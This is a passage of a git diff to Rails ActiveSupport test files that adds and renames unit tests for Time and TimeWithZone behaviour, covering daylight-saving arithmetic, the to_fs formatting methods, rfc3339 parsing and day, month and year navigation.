+      assert_equal one_am_2, midnight.advance(hours: 2)
+      assert_equal two_am, midnight.advance(hours: 3)
+
+      assert_equal midnight, one_am_1.advance(hours: -1)
+      assert_equal one_am_1, one_am_1.advance(seconds: 0)
+      assert_equal one_am_1 + 1, one_am_1.advance(seconds: 1)
+      assert_equal one_am_2, one_am_1.advance(hours: 1)
+      assert_equal two_am, one_am_1.advance(hours: 2)
+
+      assert_equal midnight, one_am_2.advance(hours: -2)
+      assert_equal one_am_1, one_am_2.advance(hours: -1)
+      assert_equal one_am_2, one_am_2.advance(seconds: 0)
+      assert_equal one_am_2 + 1, one_am_2.advance(seconds: 1)
+      assert_equal two_am, one_am_2.advance(hours: 1)
+
+      assert_equal one_am_2, two_am.advance(hours: -1)
+      assert_equal one_am_1, two_am.advance(hours: -2)
+      assert_equal midnight, two_am.advance(hours: -3)
+    end
+  end
+
+  def test_advance_preserves_offset_for_zoned_times_around_end_of_dst
+    with_tz_default "US/Eastern" do
+      # DST ended just before 2005-10-30 2:00:00 AM in US/Eastern, and clocks
+      # were rolled back 1 hour.
+      midnight = Time.new(2005, 10, 30, 00, 00, 00, Time.zone)        # 2005-10-30 00:00:00 -0400
+      one_am_1 = Time.new(2005, 10, 30, 01, 00, 00, Time.zone)        # 2005-10-30 01:00:00 -0400
+      one_am_2 = Time.new(2005, 10, 30, 02, 00, 00, Time.zone) - 3600 # 2005-10-30 01:00:00 -0500
+      two_am   = Time.new(2005, 10, 30, 02, 00, 00, Time.zone)        # 2005-10-30 02:00:00 -0500
+      assert_operator one_am_1, :<, one_am_2
+
+      assert_equal one_am_1, midnight.advance(hours: 1)
+      assert_equal one_am_2, midnight.advance(hours: 2)
+      assert_equal two_am, midnight.advance(hours: 3)
+
+      assert_equal midnight, one_am_1.advance(hours: -1)
+      assert_equal one_am_1, one_am_1.advance(seconds: 0)
+      assert_equal one_am_1 + 1, one_am_1.advance(seconds: 1)
+      assert_equal one_am_2, one_am_1.advance(hours: 1)
+      assert_equal two_am, one_am_1.advance(hours: 2)
+
+      assert_equal midnight, one_am_2.advance(hours: -2)
+      assert_equal one_am_1, one_am_2.advance(hours: -1)
+      assert_equal one_am_2, one_am_2.advance(seconds: 0)
+      assert_equal one_am_2 + 1, one_am_2.advance(seconds: 1)
+      assert_equal two_am, one_am_2.advance(hours: 1)
+
+      assert_equal one_am_2, two_am.advance(hours: -1)
+      assert_equal one_am_1, two_am.advance(hours: -2)
+      assert_equal midnight, two_am.advance(hours: -3)
+    end
+  end
+
+  def test_advance_preserves_fractional_hour_offset_for_local_times_around_end_of_dst
+    with_env_tz "Australia/Lord_Howe" do
+      # DST ended just before 2005-03-27 2:00:00 AM in Australia/Lord_Howe, and
+      # clocks were rolled back 30 minutes.
+      one_am     = Time.local(2005, 03, 27, 01, 00, 00)     # 2005-03-27 00:00:00 +1100
+      one30_am_1 = Time.local(2005, 03, 27, 01, 29, 59) + 1 # 2005-03-27 01:30:00 +1100
+      one30_am_2 = Time.local(2005, 03, 27, 01, 30, 00)     # 2005-03-27 01:30:00 +1030
+      two_am     = Time.local(2005, 03, 27, 02, 00, 00)     # 2005-03-27 02:00:00 +1030
+      assert_operator one30_am_1, :<, one30_am_2
+
+      assert_equal one30_am_1, one_am.advance(minutes: 30)
+      assert_equal one30_am_2, one_am.advance(minutes: 60)
+      assert_equal two_am, one_am.advance(minutes: 90)
+
+      assert_equal one_am, one30_am_1.advance(minutes: -30)
+      assert_equal one30_am_1, one30_am_1.advance(seconds: 0)
+      assert_equal one30_am_1 + 1, one30_am_1.advance(seconds: 1)
+      assert_equal one30_am_2, one30_am_1.advance(minutes: 30)
+      assert_equal two_am, one30_am_1.advance(minutes: 60)
+
+      assert_equal one_am, one30_am_2.advance(minutes: -60)
+      assert_equal one30_am_1, one30_am_2.advance(minutes: -30)
+      assert_equal one30_am_2, one30_am_2.advance(seconds: 0)
+      assert_equal one30_am_2 + 1, one30_am_2.advance(seconds: 1)
+      assert_equal two_am, one30_am_2.advance(minutes: 30)
+
+      assert_equal one30_am_2, two_am.advance(minutes: -30)
+      assert_equal one30_am_1, two_am.advance(minutes: -60)
+      assert_equal one_am, two_am.advance(minutes: -90)
+    end
+  end
+
+  def test_advance_preserves_fractional_hour_offset_for_zoned_times_around_end_of_dst
+    with_tz_default "Australia/Lord_Howe" do
+      # DST ended just before 2005-03-27 2:00:00 AM in Australia/Lord_Howe, and
+      # clocks were rolled back 30 minutes.
+      one_am     = Time.new(2005, 03, 27, 01, 00, 00, Time.zone)        # 2005-03-27 00:00:00 +1100
+      one30_am_1 = Time.new(2005, 03, 27, 01, 30, 00, Time.zone)        # 2005-03-27 01:30:00 +1100
+      one30_am_2 = Time.new(2005, 03, 27, 02, 00, 00, Time.zone) - 1800 # 2005-03-27 01:30:00 +1030
+      two_am     = Time.new(2005, 03, 27, 02, 00, 00, Time.zone)        # 2005-03-27 02:00:00 +1030
+      assert_operator one30_am_1, :<, one30_am_2
+
+      assert_equal one30_am_1, one_am.advance(minutes: 30)
+      assert_equal one30_am_2, one_am.advance(minutes: 60)
+      assert_equal two_am, one_am.advance(minutes: 90)
+
+      assert_equal one_am, one30_am_1.advance(minutes: -30)
+      assert_equal one30_am_1, one30_am_1.advance(seconds: 0)
+      assert_equal one30_am_1 + 1, one30_am_1.advance(seconds: 1)
+      assert_equal one30_am_2, one30_am_1.advance(minutes: 30)
+      assert_equal two_am, one30_am_1.advance(minutes: 60)
+
+      assert_equal one_am, one30_am_2.advance(minutes: -60)
+      assert_equal one30_am_1, one30_am_2.advance(minutes: -30)
+      assert_equal one30_am_2, one30_am_2.advance(seconds: 0)
+      assert_equal one30_am_2 + 1, one30_am_2.advance(seconds: 1)
+      assert_equal two_am, one30_am_2.advance(minutes: 30)
+
+      assert_equal one30_am_2, two_am.advance(minutes: -30)
+      assert_equal one30_am_1, two_am.advance(minutes: -60)
+      assert_equal one_am, two_am.advance(minutes: -90)
+    end
   end
 
   def test_last_week
@@ -539,36 +829,49 @@ def test_next_week_near_daylight_end
     end
   end
 
-  def test_to_s
+  def test_to_fs
     time = Time.utc(2005, 2, 21, 17, 44, 30.12345678901)
-    assert_equal time.to_default_s,                 time.to_s
-    assert_equal time.to_default_s,                 time.to_s(:doesnt_exist)
-    assert_equal "2005-02-21 17:44:30",             time.to_s(:db)
-    assert_equal "21 Feb 17:44",                    time.to_s(:short)
-    assert_equal "17:44",                           time.to_s(:time)
-    assert_equal "20050221174430",                  time.to_s(:number)
-    assert_equal "20050221174430123456789",         time.to_s(:nsec)
-    assert_equal "20050221174430123456",            time.to_s(:usec)
-    assert_equal "February 21, 2005 17:44",         time.to_s(:long)
-    assert_equal "February 21st, 2005 17:44",       time.to_s(:long_ordinal)
+    assert_equal time.to_s,                         time.to_fs(:doesnt_exist)
+    assert_equal "2005-02-21 17:44:30",             time.to_fs(:db)
+    assert_equal "21 Feb 17:44",                    time.to_fs(:short)
+    assert_equal "17:44",                           time.to_fs(:time)
+    assert_equal "20050221174430",                  time.to_fs(:number)
+    assert_equal "20050221174430123456789",         time.to_fs(:nsec)
+    assert_equal "20050221174430123456",            time.to_fs(:usec)
+    assert_equal "February 21, 2005 17:44",         time.to_fs(:long)
+    assert_equal "February 21st, 2005 17:44",       time.to_fs(:long_ordinal)
     with_env_tz "UTC" do
-      assert_equal "Mon, 21 Feb 2005 17:44:30 +0000", time.to_s(:rfc822)
+      assert_equal "Mon, 21 Feb 2005 17:44:30 +0000", time.to_fs(:rfc822)
+      assert_equal "Mon, 21 Feb 2005 17:44:30 -0000", time.to_fs(:rfc2822)
+      assert_equal "2005-02-21 17:44:30.123456789 +0000", time.to_fs(:inspect)
     end
     with_env_tz "US/Central" do
-      assert_equal "Thu, 05 Feb 2009 14:30:05 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_s(:rfc822)
-      assert_equal "Mon, 09 Jun 2008 04:05:01 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_s(:rfc822)
-      assert_equal "2009-02-05T14:30:05-06:00", Time.local(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
-      assert_equal "2008-06-09T04:05:01-05:00", Time.local(2008, 6, 9, 4, 5, 1).to_s(:iso8601)
-      assert_equal "2009-02-05T14:30:05Z", Time.utc(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
+      assert_equal "Thu, 05 Feb 2009 14:30:05 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_fs(:rfc822)
+      assert_equal "Mon, 09 Jun 2008 04:05:01 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_fs(:rfc822)
+      assert_equal "Thu, 05 Feb 2009 14:30:05 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_fs(:rfc2822)
+      assert_equal "Mon, 09 Jun 2008 04:05:01 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_fs(:rfc2822)
+      assert_equal "2009-02-05T14:30:05-06:00", Time.local(2009, 2, 5, 14, 30, 5).to_fs(:iso8601)
+      assert_equal "2008-06-09T04:05:01-05:00", Time.local(2008, 6, 9, 4, 5, 1).to_fs(:iso8601)
+      assert_equal "2009-02-05T14:30:05Z", Time.utc(2009, 2, 5, 14, 30, 5).to_fs(:iso8601)
+      assert_equal "2009-02-05 14:30:05.000000000 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_fs(:inspect)
+      assert_equal "2008-06-09 04:05:01.000000000 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_fs(:inspect)
     end
+
+    assert_equal "2005-02-21 17:44:30",             time.to_formatted_s(:db)
   end
 
-  def test_custom_date_format
+  def test_to_fs_custom_date_format
     Time::DATE_FORMATS[:custom] = "%Y%m%d%H%M%S"
-    assert_equal "20050221143000", Time.local(2005, 2, 21, 14, 30, 0).to_s(:custom)
+    assert_equal "20050221143000", Time.local(2005, 2, 21, 14, 30, 0).to_fs(:custom)
+  ensure
     Time::DATE_FORMATS.delete(:custom)
   end
 
+  def test_rfc3339_with_fractional_seconds
+    time = Time.new(1999, 12, 31, 19, 0, Rational(1, 8), -18000)
+    assert_equal "1999-12-31T19:00:00.125-05:00", time.rfc3339(3)
+  end
+
   def test_to_date
     assert_equal Date.new(2005, 2, 21), Time.local(2005, 2, 21, 17, 44, 30).to_date
   end
@@ -650,10 +953,6 @@ def test_days_in_year_in_leap_year_without_year_arg
     end
   end
 
-  def test_last_month_on_31st
-    assert_equal Time.local(2004, 2, 29), Time.local(2004, 3, 31).last_month
-  end
-
   def test_xmlschema_is_available
     assert_nothing_raised { Time.now.xmlschema }
   end
@@ -676,6 +975,78 @@ def test_today_with_time_utc
     end
   end
 
+  def test_yesterday_with_time_local
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal true,  Time.local(1999, 12, 31, 23, 59, 59).yesterday?
+      assert_equal false, Time.local(2000, 1, 1, 0).yesterday?
+      assert_equal true,  Time.local(1999, 12, 31).yesterday?
+      assert_equal false, Time.local(2000, 1, 2, 0).yesterday?
+    end
+  end
+
+  def test_yesterday_with_time_utc
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal true,  Time.utc(1999, 12, 31, 23, 59, 59).yesterday?
+      assert_equal false, Time.utc(2000, 1, 1, 0).yesterday?
+      assert_equal true,  Time.utc(1999, 12, 31).yesterday?
+      assert_equal false, Time.utc(2000, 1, 2, 0).yesterday?
+    end
+  end
+
+  def test_prev_day_with_time_local
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal true,  Time.local(1999, 12, 31, 23, 59, 59).prev_day?
+      assert_equal false, Time.local(2000, 1, 1, 0).prev_day?
+      assert_equal true,  Time.local(1999, 12, 31).prev_day?
+      assert_equal false, Time.local(2000, 1, 2, 0).prev_day?
+    end
+  end
+
+  def test_prev_day_with_time_utc
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal true,  Time.utc(1999, 12, 31, 23, 59, 59).prev_day?
+      assert_equal false, Time.utc(2000, 1, 1, 0).prev_day?
+      assert_equal true,  Time.utc(1999, 12, 31).prev_day?
+      assert_equal false, Time.utc(2000, 1, 2, 0).prev_day?
+    end
+  end
+
+  def test_tomorrow_with_time_local
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, Time.local(1999, 12, 31, 23, 59, 59).tomorrow?
+      assert_equal true,  Time.local(2000, 1, 2, 0).tomorrow?
+      assert_equal true,  Time.local(2000, 1, 2, 23, 59, 59).tomorrow?
+      assert_equal false, Time.local(2000, 1, 1, 0).tomorrow?
+    end
+  end
+
+  def test_tomorrow_with_time_utc
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, Time.utc(1999, 12, 31, 23, 59, 59).tomorrow?
+      assert_equal true,  Time.utc(2000, 1, 2, 0).tomorrow?
+      assert_equal true,  Time.utc(2000, 1, 2, 23, 59, 59).tomorrow?
+      assert_equal false, Time.utc(2000, 1, 1, 0).tomorrow?
+    end
+  end
+
+  def test_next_day_with_time_local
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, Time.local(1999, 12, 31, 23, 59, 59).next_day?
+      assert_equal true,  Time.local(2000, 1, 2, 0).next_day?
+      assert_equal true,  Time.local(2000, 1, 2, 23, 59, 59).next_day?
+      assert_equal false, Time.local(2000, 1, 1, 0).next_day?
+    end
+  end
+
+  def test_next_day_with_time_utc
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, Time.utc(1999, 12, 31, 23, 59, 59).next_day?
+      assert_equal true,  Time.utc(2000, 1, 2, 0).next_day?
+      assert_equal true,  Time.utc(2000, 1, 2, 23, 59, 59).next_day?
+      assert_equal false, Time.utc(2000, 1, 1, 0).next_day?
+    end
+  end
+
   def test_past_with_time_current_as_time_local
     with_env_tz "US/Eastern" do
       Time.stub(:current, Time.local(2005, 2, 10, 15, 30, 45)) do
@@ -731,7 +1102,7 @@ def test_future_with_time_current_as_time_with_zone
   end
 
   def test_acts_like_time
-    assert Time.new.acts_like_time?
+    assert_predicate Time.new, :acts_like_time?
   end
 
   def test_formatted_offset_with_utc
@@ -750,26 +1121,26 @@ def test_formatted_offset_with_local
   end
 
   def test_compare_with_time
-    assert_equal  1, Time.utc(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59, 999)
-    assert_equal  0, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0)
+    assert_equal 1, Time.utc(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59, 999)
+    assert_equal 0, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0)
     assert_equal(-1, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0, 001))
   end
 
   def test_compare_with_datetime
-    assert_equal  1, Time.utc(2000) <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
-    assert_equal  0, Time.utc(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
+    assert_equal 1, Time.utc(2000) <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
+    assert_equal 0, Time.utc(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
     assert_equal(-1, Time.utc(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
   end
 
   def test_compare_with_time_with_zone
-    assert_equal  1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone["UTC"])
-    assert_equal  0, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["UTC"])
+    assert_equal 1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone["UTC"])
+    assert_equal 0, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["UTC"])
     assert_equal(-1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone["UTC"]))
   end
 
   def test_compare_with_string
-    assert_equal   1, Time.utc(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59, 999).to_s
-    assert_equal   0, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0).to_s
+    assert_equal 1, Time.utc(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59, 999).to_s
+    assert_equal 0, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0).to_s
     assert_equal(-1, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 1, 0).to_s)
     assert_nil Time.utc(2000) <=> "Invalid as Time"
   end
@@ -811,6 +1182,10 @@ def test_at_with_time_with_zone
     end
   end
 
+  def test_at_with_in_option
+    assert_equal Time.new(1970, 1, 1, 0, 42, 17, "-08:00"), Time.at(31337, in: -28800)
+  end
+
   def test_at_with_time_with_zone_returns_local_time
     with_env_tz "US/Eastern" do
       twz = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["London"])
@@ -857,11 +1232,11 @@ def test_eql?
   end
 
   def test_minus_with_time_with_zone
-    assert_equal  86_400.0, Time.utc(2000, 1, 2) - ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone["UTC"])
+    assert_equal 86_400.0, Time.utc(2000, 1, 2) - ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone["UTC"])
   end
 
   def test_minus_with_datetime
-    assert_equal  86_400.0, Time.utc(2000, 1, 2) - DateTime.civil(2000, 1, 1)
+    assert_equal 86_400.0, Time.utc(2000, 1, 2) - DateTime.civil(2000, 1, 1)
   end
 
   def test_time_created_with_local_constructor_cannot_represent_times_during_hour_skipped_by_dst
@@ -869,7 +1244,7 @@ def test_time_created_with_local_constructor_cannot_represent_times_during_hour_
       # On Apr 2 2006 at 2:00AM in US, clocks were moved forward to 3:00AM.
       # Therefore, 2AM EST doesn't exist for this date; Time.local fails over to 3:00AM EDT
       assert_equal Time.local(2006, 4, 2, 3), Time.local(2006, 4, 2, 2)
-      assert Time.local(2006, 4, 2, 2).dst?
+      assert_predicate Time.local(2006, 4, 2, 2), :dst?
     end
   end
 
@@ -910,42 +1285,133 @@ def test_all_quarter
   def test_all_year
     assert_equal Time.local(2011, 1, 1, 0, 0, 0)..Time.local(2011, 12, 31, 23, 59, 59, Rational(999999999, 1000)), Time.local(2011, 6, 7, 10, 10, 10).all_year
   end
+
+  def test_rfc3339_parse
+    time = Time.rfc3339("1999-12-31T19:00:00.125-05:00")
+
+    assert_equal 1999, time.year
+    assert_equal 12, time.month
+    assert_equal 31, time.day
+    assert_equal 19, time.hour
+    assert_equal 0, time.min
+    assert_equal 0, time.sec
+    assert_equal 125000, time.usec
+    assert_equal(-18000, time.utc_offset)
+
+    exception = assert_raises(ArgumentError) do
+      Time.rfc3339("1999-12-31")
+    end
+
+    assert_equal "invalid date", exception.message
+
+    exception = assert_raises(ArgumentError) do
+      Time.rfc3339("1999-12-31T19:00:00")
+    end
+
+    assert_equal "invalid date", exception.message
+
+    exception = assert_raises(ArgumentError) do
+      Time.rfc3339("foobar")
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+
+  def test_prev_day
+    assert_equal date_time_init(2005, 2, 24, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_day(-2)
+    assert_equal date_time_init(2005, 2, 23, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_day(-1)
+    assert_equal date_time_init(2005, 2, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_day(0)
+    assert_equal date_time_init(2005, 2, 21, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_day(1)
+    assert_equal date_time_init(2005, 2, 20, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_day(2)
+    assert_equal date_time_init(2005, 2, 21, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_day
+    assert_equal date_time_init(2005, 2, 28, 10, 10, 10), date_time_init(2005, 3, 2, 10, 10, 10).prev_day.prev_day
+  end
+
+  def test_next_day
+    assert_equal date_time_init(2005, 2, 20, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_day(-2)
+    assert_equal date_time_init(2005, 2, 21, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_day(-1)
+    assert_equal date_time_init(2005, 2, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_day(0)
+    assert_equal date_time_init(2005, 2, 23, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_day(1)
+    assert_equal date_time_init(2005, 2, 24, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_day(2)
+    assert_equal date_time_init(2005, 2, 23, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_day
+    assert_equal date_time_init(2005, 3, 2, 10, 10, 10),  date_time_init(2005, 2, 28, 10, 10, 10).next_day.next_day
+  end
+
+  def test_prev_month
+    assert_equal date_time_init(2005, 4, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_month(-2)
+    assert_equal date_time_init(2005, 3, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_month(-1)
+    assert_equal date_time_init(2005, 2, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_month(0)
+    assert_equal date_time_init(2005, 1, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_month(1)
+    assert_equal date_time_init(2004, 12, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_month(2)
+    assert_equal date_time_init(2005, 1, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_month
+    assert_equal date_time_init(2004, 12, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).prev_month.prev_month
+  end
+
+  def test_next_month
+    assert_equal date_time_init(2004, 12, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_month(-2)
+    assert_equal date_time_init(2005, 1, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_month(-1)
+    assert_equal date_time_init(2005, 2, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_month(0)
+    assert_equal date_time_init(2005, 3, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_month(1)
+    assert_equal date_time_init(2005, 4, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_month(2)
+    assert_equal date_time_init(2005, 3, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_month
+    assert_equal date_time_init(2005, 4, 22, 10, 10, 10), date_time_init(2005, 2, 22, 10, 10, 10).next_month.next_month
+  end
+
+  def test_prev_year
+    assert_equal date_time_init(2007, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).prev_year(-2)
+    assert_equal date_time_init(2006, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).prev_year(-1)
+    assert_equal date_time_init(2005, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).prev_year(0)
+    assert_equal date_time_init(2004, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).prev_year(1)
+    assert_equal date_time_init(2003, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).prev_year(2)
+    assert_equal date_time_init(2004, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).prev_year
+    assert_equal date_time_init(2003, 6, 5, 10, 10, 10),  date_time_init(2005, 6, 5, 10, 10, 10).prev_year.prev_year
+  end
+
+  def test_next_year
+    assert_equal date_time_init(2003, 6, 5, 10, 10, 10), date_time_init(2005, 6, 5, 10, 10, 10).next_year(-2)
+    assert_equal date_time_init(2004, 6, 5, 10, 10, 10), date_time_init(2005, 6, 5, 10, 10, 10).next_year(-1)
+    assert_equal date_time_init(2005, 6, 5, 10, 10, 10), date_time_init(2005, 6, 5, 10, 10, 10).next_year(0)
+    assert_equal date_time_init(2006, 6, 5, 10, 10, 10), date_time_init(2005, 6, 5, 10, 10, 10).next_year(1)
+    assert_equal date_time_init(2007, 6, 5, 10, 10, 10), date_time_init(2005, 6, 5, 10, 10, 10).next_year(2)
+    assert_equal date_time_init(2006, 6, 5, 10, 10, 10), date_time_init(2005, 6, 5, 10, 10, 10).next_year
+    assert_equal date_time_init(2007, 6, 5, 10, 10, 10), date_time_init(2005, 6, 5, 10, 10, 10).next_year.next_year
+  end
 end
 
 class TimeExtMarshalingTest < ActiveSupport::TestCase
-  def test_marshaling_with_utc_instance
+  def test_marshalling_with_utc_instance
     t = Time.utc(2000)
-    unmarshaled = Marshal.load(Marshal.dump(t))
-    assert_equal "UTC", unmarshaled.zone
-    assert_equal t, unmarshaled
+    unmarshalled = Marshal.load(Marshal.dump(t))
+    assert_equal "UTC", unmarshalled.zone
+    assert_equal t, unmarshalled
   end
 
-  def test_marshaling_with_local_instance
+  def test_marshalling_with_local_instance
     t = Time.local(2000)
-    unmarshaled = Marshal.load(Marshal.dump(t))
-    assert_equal t.zone, unmarshaled.zone
-    assert_equal t, unmarshaled
+    unmarshalled = Marshal.load(Marshal.dump(t))
+    assert_equal t.zone, unmarshalled.zone
+    assert_equal t, unmarshalled
   end
 
-  def test_marshaling_with_frozen_utc_instance
+  def test_marshalling_with_frozen_utc_instance
     t = Time.utc(2000).freeze
-    unmarshaled = Marshal.load(Marshal.dump(t))
-    assert_equal "UTC", unmarshaled.zone
-    assert_equal t, unmarshaled
+    unmarshalled = Marshal.load(Marshal.dump(t))
+    assert_equal "UTC", unmarshalled.zone
+    assert_equal t, unmarshalled
   end
 
-  def test_marshaling_with_frozen_local_instance
+  def test_marshalling_with_frozen_local_instance
     t = Time.local(2000).freeze
-    unmarshaled = Marshal.load(Marshal.dump(t))
-    assert_equal t.zone, unmarshaled.zone
-    assert_equal t, unmarshaled
+    unmarshalled = Marshal.load(Marshal.dump(t))
+    assert_equal t.zone, unmarshalled.zone
+    assert_equal t, unmarshalled
   end
 
   def test_marshalling_preserves_fractional_seconds
     t = Time.parse("00:00:00.500")
-    unmarshaled = Marshal.load(Marshal.dump(t))
-    assert_equal t.to_f, unmarshaled.to_f
-    assert_equal t, unmarshaled
+    unmarshalled = Marshal.load(Marshal.dump(t))
+    assert_equal t.to_f, unmarshalled.to_f
+    assert_equal t, unmarshalled
   end
 
   def test_last_quarter_on_31st
diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb
index ab5ec98642716..883670d13b700 100644
--- a/activesupport/test/core_ext/time_with_zone_test.rb
+++ b/activesupport/test/core_ext/time_with_zone_test.rb
@@ -1,7 +1,8 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/time"
-require "time_zone_test_helpers"
-require "active_support/core_ext/string/strip"
+require_relative "../time_zone_test_helpers"
 require "yaml"
 
 class TimeWithZoneTest < ActiveSupport::TestCase
@@ -48,6 +49,12 @@ def test_in_time_zone_with_bad_argument
     assert_raise(ArgumentError) { @twz.in_time_zone(Object.new) }
   end
 
+  def test_in_time_zone_with_ambiguous_time
+    with_env_tz "Europe/Moscow" do
+      assert_equal Time.utc(2014, 10, 25, 22, 0, 0), Time.local(2014, 10, 26, 1, 0, 0).in_time_zone("Moscow")
+    end
+  end
+
   def test_localtime
     assert_equal @twz.localtime, @twz.utc.getlocal
     assert_instance_of Time, @twz.localtime
@@ -76,7 +83,7 @@ def test_utc?
 
   def test_formatted_offset
     assert_equal "-05:00", @twz.formatted_offset
-    assert_equal "-04:00", ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).formatted_offset #dst
+    assert_equal "-04:00", ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).formatted_offset # dst
   end
 
   def test_dst?
@@ -86,7 +93,7 @@ def test_dst?
 
   def test_zone
     assert_equal "EST", @twz.zone
-    assert_equal "EDT", ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst
+    assert_equal "EDT", ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone # dst
   end
 
   def test_nsec
@@ -94,7 +101,7 @@ def test_nsec
     with_zone = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], local)
 
     assert_equal local.nsec, with_zone.nsec
-    assert_equal with_zone.nsec, 999999999
+    assert_equal 999999999, with_zone.nsec
   end
 
   def test_strftime
@@ -107,19 +114,40 @@ def test_strftime_with_escaping
   end
 
   def test_inspect
-    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+    assert_equal "1999-12-31 19:00:00.000000000 EST -05:00", @twz.inspect
+
+    nsec          = Time.utc(1986, 12, 12, 6, 23, 00, Rational(1, 1000))
+    nsec          = ActiveSupport::TimeWithZone.new(nsec, @time_zone)
+    assert_equal "1986-12-12 01:23:00.000000001 EST -05:00", nsec.inspect
+
+    hundred_nsec  = Time.utc(1986, 12, 12, 6, 23, 00, Rational(100, 1000))
+    hundred_nsec  = ActiveSupport::TimeWithZone.new(hundred_nsec, @time_zone)
+    assert_equal "1986-12-12 01:23:00.000000100 EST -05:00", hundred_nsec.inspect
+
+    one_third_sec = Time.utc(1986, 12, 12, 6, 23, 00, Rational(1000000, 3))
+    one_third_sec = ActiveSupport::TimeWithZone.new(one_third_sec, @time_zone)
+    assert_equal "1986-12-12 01:23:00.333333333 EST -05:00", one_third_sec.inspect
   end
 
   def test_to_s
